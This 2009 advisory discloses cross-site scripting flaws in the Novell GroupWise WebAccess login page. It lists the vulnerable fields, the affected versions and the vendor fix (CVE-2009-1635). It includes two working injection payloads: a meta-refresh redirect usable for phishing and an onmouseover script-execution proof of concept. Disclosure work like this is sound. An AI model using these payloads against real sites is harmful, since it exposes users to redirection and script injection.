groupwise-xss.txt
Posted on 22 May 2009
Novell GroupWise Web Access Multiple XSS /============================================\n/~ SecureState R&D Team - leroy and sasquatch ~\n/~ Discovered: 11-24-08, 03-05-09 ~\n~ Vendor Notified: 01-06-09, 03-05-09 ~/ ~ Vendor Publication: 05-21-09 ~/ ============================================/ /------------------------------------------------------------------------------------------------\n/~ Novell's Groupwise WebAccess login page is vulnerable to several cross-site scripting attacks. ~\n/~ ~\n< Example URL: https://www.website.com/gw/webacc > ~ ~/ ~ An attempt to deter the attack is made in that <script> tags are replaced with <!-- pt> ~/ ------------------------------------------------------------------------------------------------/ |--------------------------------------------------------------| | Vulnerable Fields: GWAP.version, User.Theme.index, User.lang | | Vulnerable Versions: 7.0.1, 7.0.3, ? | |--------------------------------------------------------------| | Vulnerable Fields: User.Lang | | Vulnerable Versions: 8.0, ? | |--------------------------------------------------------------| |------------------------------------------------------------------------------| | Phishing via URL Redirection: | | "/><meta http-equiv="refresh" content="0; url=http://www.securestate.com" /> | |------------------------------------------------------------------------------| | JavaScript Execution Proof of Concept: | | " /><div onmouseover="alert('xss')" style="javascript:visibility:visible;"> | |------------------------------------------------------------------------------| |--------------------------------------------------------------------------------| | Fix Info --> Technical Information Document 7003271 | | | | http://www.novell.com/support/search.do?usemicrosite=true&searchString=7003271 | |--------------------------------------------------------------------------------| | Version 7 --> 7.03 Hot Patch 2 | | Fixes vulnerable fields: GWAP.version, User.Theme, but not User.lang | |--------------------------------------------------------------------------------| | Version 8 (CVE-2009-1635) | |--------------------------------------------------------------------------------|
